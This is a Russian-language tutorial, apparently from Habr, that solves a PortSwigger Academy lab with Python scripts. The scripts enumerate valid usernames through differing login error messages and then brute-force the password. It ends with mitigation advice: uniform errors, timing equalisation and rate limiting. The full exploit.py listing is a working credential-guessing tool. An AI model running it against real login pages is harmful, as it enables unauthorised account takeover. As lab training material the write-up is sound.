В арсенале специалиста по информационной безопасности (Pentester / AppSec Engineer) навыки программирования давно перешли из разряда «желательных» в категорию «обязательных». Безусловно, индустриальные стандарты вроде Burp Suite Professional или OWASP ZAP покрывают 90% рутинных задач. Однако оставшиеся 10% — это нестандартные кейсы, специфическая логика приложений или необходимость обойти ограничения бесплатных версий инструментов. Именно здесь на сцену выходит Python.
Написание собственных скриптов (exploit development/automating) дает исследователю три ключевых преимущества:
Полный контроль: Вы точно знаете, какие заголовки отправляются и как обрабатывается ответ, без «магии» графического интерфейса.
Гибкость: Возможность реализовать сложную логику условий (например, «если сервер ответил 200 OK, но в теле нет слова X, то...»), которую трудно настроить в стандартных фаззерах.
Производительность: Community-версии популярных сканеров часто искусственно замедляют скорость перебора (throttling). Python-скрипт ограничен только вашим каналом и ресурсами целевого сервера.
В этой статье мы разберем классический пример логической уязвимости — Username Enumeration (перечисление пользователей). В качестве полигона используем лабораторию PortSwigger Academy: Username enumeration via different responses.

Мы не просто «решим лабу», а напишем модульный, расширяемый инструмент на Python с использованием библиотеки requests, который автоматизирует процесс обнаружения валидного логина по косвенным признакам (различиям в ответах сервера) и последующего подбора пароля.
Disclaimer (Отказ от ответственности):
Информация, представленная в данной статье, предназначена исключительно для образовательных целей и повышения квалификации специалистов в области защиты информации. Все примеры кода и атаки демонстрируются на специально созданных для этого тренировочных площадках (PortSwigger Web Security Academy).
Несанкционированное тестирование защищенности реальных систем является незаконным и преследуется по закону (в РФ — ст. 272, 273, 274 УК РФ). Автор не несет ответственности за неправомерное использование предоставленной информации.
2. Теоретическая часть: Механика Username Enumeration
Username Enumeration (Перечисление имен пользователей) — это уязвимость класса Information Disclosure, возникающая из-за ошибок в логике обработки аутентификации. Она позволяет злоумышленнику удаленно верифицировать наличие или отсутствие конкретного идентификатора (логина, email) в базе данных системы.
На первый взгляд может показаться, что утечка одного лишь логина не несет критической угрозы. Однако в контексте тестирования на проникновение эта уязвимость кардинально меняет вектор атаки, превращая «черный ящик» в «серый».
Почему это критично? Математика брутфорса
Основная опасность заключается в резком сужении пространства перебора (search space).
Представим атаку типа Brute-force или Credential Stuffing. Если система не сообщает, какая именно часть пары «логин:пароль» неверна, атакующему приходится перебирать декартово произведение словарей логинов () и паролей (
). Сложность атаки составляет
.
При наличии Username Enumeration атака разделяется на два изолированных этапа:
Перебор списка
для нахождения валидного пользователя.
Перебор списка
для конкретного найденного пользователя.
Сложность снижается до . Это экспоненциальное уменьшение времени, необходимого для компрометации аккаунта. Кроме того, знание валидного логина открывает двери для направленного фишинга и атак на сброс пароля.
Техническая реализация уязвимости
Корень проблемы кроется в том, что бэкенд приложения по-разному обрабатывает сценарии для несуществующего пользователя и для существующего пользователя с неверным паролем. Эти различия проявляются в HTTP-ответах и могут быть классифицированы следующим образом:
-
Вербальные сообщения (Text-based):
Сценарий А:
Invalid username(Пользователь не найден).Сценарий Б:
Incorrect password(Пользователь найден, пароль неверен).Именно этот тип уязвимости мы будем эксплуатировать в данной статье.
-
Различия в статус-кодах:
Сервер может возвращать
404 Not Foundдля неверного логина и403 Forbidden(или401 Unauthorized) для неверного пароля.
-
Временные задержки (Timing Attacks):
Если приложение сначала проверяет наличие пользователя в БД, и только в случае успеха начинает хешировать введенный пароль (операция, требующая CPU-ресурсов, например, bcrypt), то ответ для существующего пользователя придет позже, чем для несуществующего. Это более сложный вектор (blind enumeration), требующий статистического анализа.
Как мы будем искать уязвимость?
В лаборатории PortSwigger нам дан сценарий с вербальными сообщениями. Наша задача как исследователей — выявить дискриминатор (отличительный признак).
В ручном режиме (через Burp Suite) это выглядит так: мы отправляем запрос с заведомо случайным логином (например, blablabla) и фиксируем ответ сервера. Этот ответ становится нашим «эталоном ошибки». Далее мы начинаем перебирать словарь пользователей. Если ответ сервера на какой-либо логин отличается от «эталона» (изменилась длина контента, статус-код или, как в нашем случае, текст сообщения), мы считаем это аномалией и фиксируем валидный логин.
Для человека анализ тысяч запросов невозможен. Для Python — это дело нескольких секунд. Перейдем к разведке.
3. Разведка и анализ протокола (Reconnaissance)
Прежде чем писать код, нам необходимо понять, как приложение общается с сервером. Наш инструмент — это не просто «скрипт», а автоматизированный клиент, который должен притворяться браузером. Для этого нам нужно «снять отпечаток» запроса.

Анализ HTTP-запроса
Открываем инструменты разработчика в браузере (F12 -> Network) или, что профессиональнее, перехватываем запрос через Burp Suite Proxy.
Заходим на страницу логина лаборатории.
Вводим произвольные данные, например:
username: testuser,password: testpass.Нажимаем «Login» и смотрим на перехваченный POST-запрос.
Типичный запрос в этой лабораторной выглядит следующим образом:
POST /login HTTP/1.1
Host: 0a...web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Cookie: session=xyz...
username=testuser&password=testpass

Что нам здесь важно:
Метод:
POST.URL: Эндпоинт
/login.Параметры тела: Данные передаются в формате
x-www-form-urlencoded. Имена полей:usernameиpassword.Cookie: Сервер использует сессионную куку. В некоторых лабах PortSwigger защита от CSRF требует наличия csrf-токена в теле запроса, но в этой конкретной задаче (на начальном уровне) токена может не быть, либо он статичен в рамках сессии. Примем во внимание: наш скрипт должен уметь работать с сессиями (cookies).
Поиск различий (Diffing)
Теперь самое главное — найти тот самый «маркер», по которому мы будем отличать успех от неудачи.
Шаг 1. Базовый сценарий (Неверный пользователь)
Мы отправляем заведомо несуществующий логин (например, набор случайных символов).
Сервер возвращает ответ 200 OK, но в HTML-коде страницы мы видим сообщение:
"Invalid username"
Это наш Negative Indicator. Пока мы видим эту фразу — мы перебираем "мусор".

Шаг 2. Гипотетический сценарий (Верный пользователь)
Если мы угадаем логин, но не угадаем пароль, логика подсказывает, что сообщение об ошибке должно измениться. Сервер уже не может сказать "Неверный пользователь", ведь пользователь существует. Скорее всего, он скажет:
"Incorrect password"
Вывод для алгоритма:
Нам даже не обязательно знать точный текст второй ошибки. Нам достаточно инвертировать логику поиска:
Мы ищем ответ, в котором НЕТ фразы "Invalid username".
Стратегия атаки
На основе разведки наш план действий для Python-скрипта (Blueprint) выглядит так:
Target: URL страницы логина.
Payloads: Стандартные списки PortSwigger для Usernames и Passwords.
-
Condition (Логика обнаружения):
Этап 1 (Enumeration): Перебираем
username. Если вresponse.textпропала строка "Invalid username" — значит, логин найден. Сохраняем его.Этап 2 (Brute-force): Используем найденный
username. Перебираемpassword. Если статус ответа изменился (например, 302 Redirect) или пропала строка "Incorrect password" — доступ получен.
Теперь, когда у нас есть карта действий, можно переходить к подготовке инструментов.
4. Подготовка окружения
Для решения задачи нам не потребуется тяжеловесный софт. Наш стек будет минималистичным, но эффективным. Мы будем придерживаться принципа KISS (Keep It Simple, Stupid), используя стандарт де-факто в мире Python для работы с HTTP.
Требования к системе
Python 3.8+: Убедитесь, что интерпретатор установлен и добавлен в PATH.
Текстовый редактор/IDE: VS Code, PyCharm или даже Vim — на ваш выбор.
Настройка виртуального окружения (Best Practice)
Хороший тон любого Python-разработчика — не засорять глобальную область видимости системного интерпретатора. Создадим изолированную среду для нашего проекта.
# Создаем папку проекта
mkdir habr_solver
cd habr_solver
# Инициализируем виртуальное окружение
python3 -m venv venv
# Активируем его
# Для Windows:
venv\Scripts\activate
# Для Linux/macOS:
source venv/bin/activate
Установка зависимостей
Нам понадобится всего одна внешняя библиотека — requests.
Конечно, в стандартной библиотеке Python есть модули urllib, но писать на них HTTP-клиенты в 202X году — это неоправданный мазохизм. Requests берет на себя всю сложную работу: управление пулами соединений, кодирование параметров и, самое главное для нас, автоматическую обработку Cookies (сессий).
pip install requests
(Опционально) Для красоты вывода в консоль можно добавить colorama, чтобы подсвечивать найденные креды зеленым цветом, но для базовой версии это не обязательно.
Подготовка словарей (Wordlists)
В реальном пентесте мы бы использовали знаменитый репозиторий SecLists (например, rockyou.txt или списки топ-1000 логинов). Однако для данной лаборатории PortSwigger предоставляет конкретные, специально сгенерированные словари. Использование других списков приведет к провалу, так как искомых данных там просто не будет.
Скопируйте следующие словари и положите их в корень папки проекта:
Структура проекта
В итоге перед началом написания кода ваша директория должна выглядеть так:
habr_solver/
├── venv/ # Виртуальное окружение
├── exploit.py # Наш будущий скрипт (создадим далее)
├── usernames.txt # Словарь логинов
└── passwords.txt # Словарь паролей
Теперь, когда инструменты готовы и патроны (словари) заряжены, переходим к написанию логики.
5. Пишем код: Этап 1 — Поиск пользователя
Переходим к реализации. Наша первая задача — перебрать список логинов и найти того единственного, на которого сервер отреагирует иначе.
Инициализация и сессии
Начинаем с импорта библиотек и настройки соединения.
Важный нюанс: мы будем использовать объект requests.Session().
Зачем нужна сессия, если мы просто шлём POST-запросы?
Производительность (Keep-Alive): Сессия переиспользует TCP-соединение. Без сессии на каждый из 100+ запросов скрипт будет заново открывать сокет и проводить SSL-рукопожатие (handshake). Это замедляет брутфорс в разы.
Cookies: В данной лабораторной это не критично, но в реальных приложениях сервер может выдавать
session_idили CSRF-токен при первом заходе. ОбъектSessionавтоматически сохраняет куки и подставляет их в следующие запросы, эмулируя поведение реального браузера.
Логика перебора
Алгоритм прост:
Читаем файл
usernames.txtпострочно.В цикле отправляем POST-запрос на эндпоинт
/login.В тело запроса (
data) кладем текущийusernameи любой произвольный пароль (пароль на этом этапе нам неважен, главное, чтобы он был непустым).Проверяем ответ: если фраза "Invalid username" исчезла — мы победили.
Реализация в коде
Создайте файл exploit.py и напишите следующую функцию.
Обратите внимание: URL лаборатории нужно скопировать из вашего браузера, так как у каждого инстанса PortSwigger он уникален.
import requests
import sys
# КОНФИГУРАЦИЯ
# Замените на ваш актуальный URL лаборатории
TARGET_URL = "https://YOUR-LAB-ID.web-security-academy.net/login"
USERNAMES_FILE = "usernames.txt"
def find_valid_username():
print("[*] Начинаем поиск валидного пользователя...")
# Инициализируем сессию
session = requests.Session()
# Открываем словарь. Использование with гарантирует закрытие файла
try:
with open(USERNAMES_FILE, "r") as f:
# splitlines() автоматически убирает \n в конце строк
usernames = f.read().splitlines()
except FileNotFoundError:
print(f"[!] Ошибка: Файл {USERNAMES_FILE} не найден.")
sys.exit(1)
for username in usernames:
# Формируем тело запроса
# Пароль может быть любым, мы проверяем только логин
payload = {
"username": username,
"password": "invalid_password_placeholder"
}
# Отправляем запрос
# allow_redirects=False часто ускоряет процесс,
# но здесь нам нужно читать тело ответа (HTML), поэтому True (по умолчанию)
response = session.post(TARGET_URL, data=payload)
# === ГЛАВНАЯ ЛОГИКА ===
# Мы знаем, что для несуществующих пользователей сервер пишет "Invalid username".
# Если этой фразы НЕТ в ответе — значит, сработал другой сценарий (Incorrect password).
if "Invalid username" not in response.text:
print(f"\n[+] БИНГО! Валидный пользователь найден: {username}")
return username
# Опционально: вывод прогресса, чтобы не скучать
# print(f"\rChecking: {username}", end="")
print("\n[-] Перебор завершен. Валидный пользователь не найден.")
return None
if __name__ == "__main__":
find_valid_username()
Разбор нюансов кода
response.text: Мы ищем подстроку в теле ответа. Это строковое сравнение, которое работает очень быстро.Инверсия условия (
not in): Это более надежный способ, чем поиск фразы "Incorrect password". Почему? Потому что веб-сервер может вернуть 500 ошибку или сменить формулировку, но если пропала стандартная ошибка — это всегда аномалия, достойная внимания.return username: Как только мы нашли пользователя, мы сразу возвращаем его и прерываем цикл. Нет смысла перебирать дальше.
Запустите этот код. Если вы все сделали правильно, через пару секунд скрипт должен выдать:
[+] БИНГО! Валидный пользователь найден: acme (или другое имя из словаря).
Теперь, когда у нас есть точка входа (username), сложность задачи упала в разы. Переходим ко второй части подбору пароля.

6. Пишем код: Этап 2 — Подбор пароля
После успешного выполнения первого этапа у нас на руках есть подтвержденный идентификатор пользователя (логин). Это кардинально меняет ситуацию: мы больше не действуем вслепую.
Теперь наша задача в рамках лабораторной работы — верифицировать пароль для этого конкретного пользователя. С точки зрения алгоритма, мы сужаем вектор тестирования: фиксируем параметр username и начинаем перебор значений из словаря паролей.
Определение критерия успеха
Как мы поймем, что пароль подошел?
В веб-приложениях успешная аутентификация обычно сопровождается одним из следующих событий:
HTTP 302 Redirect: Сервер перенаправляет пользователя из зоны
/loginв личный кабинет (например, на/my-account).Смена контента: В ответе сервера появляется кнопка «Log out» (Выйти) или приветствие «Welcome, username».
В контексте данной лаборатории PortSwigger мы будем ориентироваться на отсутствие ошибки или изменение статус-кода.
Реализация функции
Дополним наш скрипт функцией brute_force_password. Она принимает найденный логин и сессию, которую мы создали ранее (чтобы сохранить контекст подключения).
def brute_force_password(username, session):
print(f"[*] Начинаем подбор пароля для пользователя: {username}")
PASSWORDS_FILE = "passwords.txt"
try:
with open(PASSWORDS_FILE, "r") as f:
passwords = f.read().splitlines()
except FileNotFoundError:
print(f"[!] Ошибка: Файл {PASSWORDS_FILE} не найден.")
sys.exit(1)
for password in passwords:
# Формируем данные для отправки
# Логин теперь фиксирован, меняется только пароль
payload = {
"username": username,
"password": password
}
# Отправляем POST-запрос
response = session.post(TARGET_URL, data=payload)
# === ЛОГИКА ПРОВЕРКИ ===
# Если пароль неверный, сервер снова вернет страницу с формой
# и текстом "Incorrect password" (или иным сообщением об ошибке).
# Если мы успешно вошли, сервер обычно делает редирект (302)
# или показывает страницу аккаунта.
# Проверяем: если в ответе НЕТ сообщения "Incorrect password"
# и НЕТ сообщения "Invalid username", вероятно, мы вошли.
# Также можно проверить наличие кнопки "Log out" в ответе.
if "Log out" in response.text:
print(f"\n[+] УСПЕХ! Пароль найден: {password}")
# Для проверки можно вывести финальные куки
print(f"[i] Session cookies: {session.cookies.get_dict()}")
return password
# Альтернативная проверка по статус-коду (если redirect не обрабатывается автоматически)
# if response.status_code == 302: ...
print("\n[-] Пароль не найден в словаре.")
return None
Важные технические детали
Многопоточность (Threading): В данном учебном примере мы используем синхронный код (один поток). Это безопасно для учебных серверов и позволяет наглядно разобрать логику. В реальных задачах по нагрузочному тестированию или аудиту безопасности используются асинхронные подходы (
asyncioилиThreadPoolExecutor), чтобы увеличить скорость перебора, однако это требует осторожности, чтобы не вызвать отказ в обслуживании (DoS).Логирование: В скрипт добавлена печать найденных кук (
session cookies). В реальном аудите именно сессионная кука является доказательством успешного доступа.
Теперь у нас есть две функции: одна находит логин, вторая — пароль. Осталось объединить их в единый рабочий инструмент.
7. Собираем всё вместе: Финальный скрипт
Пришло время объединить наши наработки в полноценный инструмент автоматизации. Мы структурируем код так, чтобы он был читаемым, модульным и легким в сопровождении.
В финальной версии мы:
Вынесем чтение файлов в отдельную вспомогательную функцию.
Объединим логику поиска логина и пароля в единый процесс (
pipeline).Добавим проверку конфигурации (чтобы вы не забыли вставить свой URL).
Полный листинг кода (exploit.py)
Скопируйте этот код в файл exploit.py. Не забудьте, что в папке рядом должны лежать файлы usernames.txt и passwords.txt, скачанные со страницы лаборатории.
Полный код файла exploit.py
import requests
import sys
# ================= КОНФИГУРАЦИЯ =================
# Вставьте сюда ID вашей лаборатории из адресной строки браузера
# Пример: "a1b2c3d4..."
LAB_ID = "ВСТАВЬТЕ_СЮДА_ВАШ_ID"
# Полный URL для атаки
URL = f"https://{LAB_ID}.web-security-academy.net/login"
# Имена файлов со словарями
USER_LIST = "usernames.txt"
PASS_LIST = "passwords.txt"
# ================================================
def load_wordlist(filepath):
"""
Безопасное чтение файла со словарем.
Возвращает список строк.
"""
try:
with open(filepath, "r", encoding="utf-8") as f:
return f.read().splitlines()
except FileNotFoundError:
print(f"[!] Критическая ошибка: Файл '{filepath}' не найден.")
sys.exit(1)
def solve_lab():
"""
Основная логика решения лаборатории.
"""
# Проверка, заменил ли пользователь ID
if "ВСТАВЬТЕ" in LAB_ID:
print("[!] Ошибка конфигурации: Вы не указали LAB_ID в скрипте.")
return
print(f"[*] Цель: {URL}")
print("[*] Инициализация сессии...")
session = requests.Session()
# 1. Загружаем словари
usernames = load_wordlist(USER_LIST)
passwords = load_wordlist(PASS_LIST)
valid_username = None
# 2. Этап перечисления пользователя (Username Enumeration)
print(f"[*] ЭТАП 1: Поиск валидного логина (Всего кандидатов: {len(usernames)})...")
for user in usernames:
# Отправляем логин с заведомо неверным паролем
response = session.post(URL, data={"username": user, "password": "dummy_password"})
# Логика: если сервер НЕ ответил стандартной ошибкой "Invalid username",
# значит, логин существует.
if "Invalid username" not in response.text:
valid_username = user
print(f"\n[+] НАЙДЕН ЛОГИН: {valid_username}")
break # Прерываем цикл, так как логин найден
else:
# Выводим точку для визуализации процесса (чтобы не спамить строками)
print(".", end="", flush=True)
if not valid_username:
print("\n[-] Не удалось найти валидный логин. Проверьте словарь или URL.")
return
# 3. Этап подбора пароля (Password Brute-force)
print(f"\n[*] ЭТАП 2: Подбор пароля для пользователя '{valid_username}' (Всего кандидатов: {len(passwords)})...")
for pwd in passwords:
# Теперь отправляем найденный логин и перебираем пароли
response = session.post(URL, data={"username": valid_username, "password": pwd})
# Логика: Ищем признаки успешного входа.
# Обычно это редирект, смена статус-кода или появление кнопки "Log out"
if "Log out" in response.text:
print(f"\n[+] ПОБЕДА! ПАРОЛЬ НАЙДЕН: {pwd}")
print("-" * 40)
print(f"Итоговые данные для входа:\nLogin: {valid_username}\nPassword: {pwd}")
print("-" * 40)
return
else:
print(".", end="", flush=True)
print("\n[-] Пароль не найден в предоставленном словаре.")
if __name__ == "__main__":
try:
solve_lab()
except KeyboardInterrupt:
print("\n[!] Работа скрипта прервана пользователем.")
Как это работает
Подготовка: Скрипт проверяет наличие словарей и корректность URL.
Сессия: Создается объект
requests.Session(), который мы проносим через оба этапа. Это позволяет имитировать поведение реального пользователя, сохраняя cookies, если сервер их устанавливает.Этап 1: Скрипт отправляет запросы, меняя
username. Он ищет аномалию — отсутствие строки "Invalid username". Как только она найдена, скрипт запоминает логин и выходит из первого цикла.Этап 2: Скрипт берет найденный логин и начинает перебирать пароли. Здесь критерием успеха служит появление строки "Log out" (что означает, что мы авторизованы).
Результат: В случае успеха скрипт выводит пару логин/пароль и завершает работу.
Запуск
Откройте терминал в папке проекта и выполните:
python exploit.py
Вы увидите, как бегут точки (прогресс), и через несколько секунд (зависит от скорости вашего интернета и отклика сервера PortSwigger) скрипт выдаст заветные учетные данные.

Теперь остается только скопировать их, вернуться в браузер и зайти в лабораторию, чтобы получить заветное сообщение "Congratulations, you solved the lab!".

8. Выводы и защита (Mitigation)
Мы успешно написали Python-скрипт, который автоматизировал эксплуатацию логической уязвимости. То, на что в ручном режиме ушли бы часы монотонного перебора, наш скрипт выполнил за секунды (или минуты, в зависимости от задержек сети).
Однако цель этичного хакера — не просто найти дыру, но и объяснить, как её закрыть. Давайте разберем ситуацию со стороны защиты (Blue Team).
Как защититься от Username Enumeration?
Уязвимость, которую мы эксплуатировали, возникает из-за излишней «словоохотливости» сервера. Чтобы предотвратить перечисление пользователей, разработчикам необходимо придерживаться принципа "Security through Obscurity" (в разумных пределах) на этапе аутентификации.
-
Унифицированные сообщения об ошибках:
Приложение никогда не должно сообщать, какая именно часть учетных данных неверна.❌ Плохо: "Пользователь не найден" / "Неверный пароль".
✅ Хорошо: "Неверный логин или пароль".
В этом случае злоумышленник не сможет отбросить невалидные логины, и ему придется перебирать полный массив пар (Логин × Пароль), что делает атаку вычислительно нецелесообразной.
-
Защита от Time-based атак:
Даже если сообщения одинаковые, сервер может выдать пользователя временем ответа. Если логин не найден, сервер отвечает мгновенно (0.1мс). Если найден — он начинает хешировать введенный пароль (это ресурсоемкая операция, занимающая, например, 200мс).Решение: Использовать алгоритмы сравнения с постоянным временем выполнения или искусственно выравнивать время ответа для всех сценариев.
Rate Limiting и CAPTCHA:
Наш скрипт работал без ограничений. В реальной жизни WAF (Web Application Firewall) или nginx должны блокировать IP-адрес после N неудачных попыток входа. Внедрение капчи (reCAPTCHA и аналоги) делает автоматизированный перебор черезrequestsпрактически невозможным без использования сложных и дорогих сервисов по разгадыванию капч.
Итоги: Python vs Готовые инструменты
Зачем мы писали код, если есть Hydra или Burp Intruder?
Бесплатность: Burp Suite Professional, позволяющий запускать Intruder на полной скорости, стоит денег. Python бесплатен.
Кастомизация: Мы реализовали логику двухэтапной атаки (сначала логин, потом пароль) в одном скрипте. Готовые инструменты часто требуют запускать два разных перебора вручную.
Понимание: Написание собственных эксплойтов дает глубокое понимание того, как работает протокол HTTP и как именно сервер обрабатывает ваши данные.
Анонс новых статей, полезные материалы, а так же если в процессе решения возникнут сложности, обсудить их или задать вопрос по статье можно в моём Telegram-сообществе.
Безопасного вам кода!
DumpManager
Неплохо было бы использовать aiohttp или другую асинхронную либу, скорость растет в разы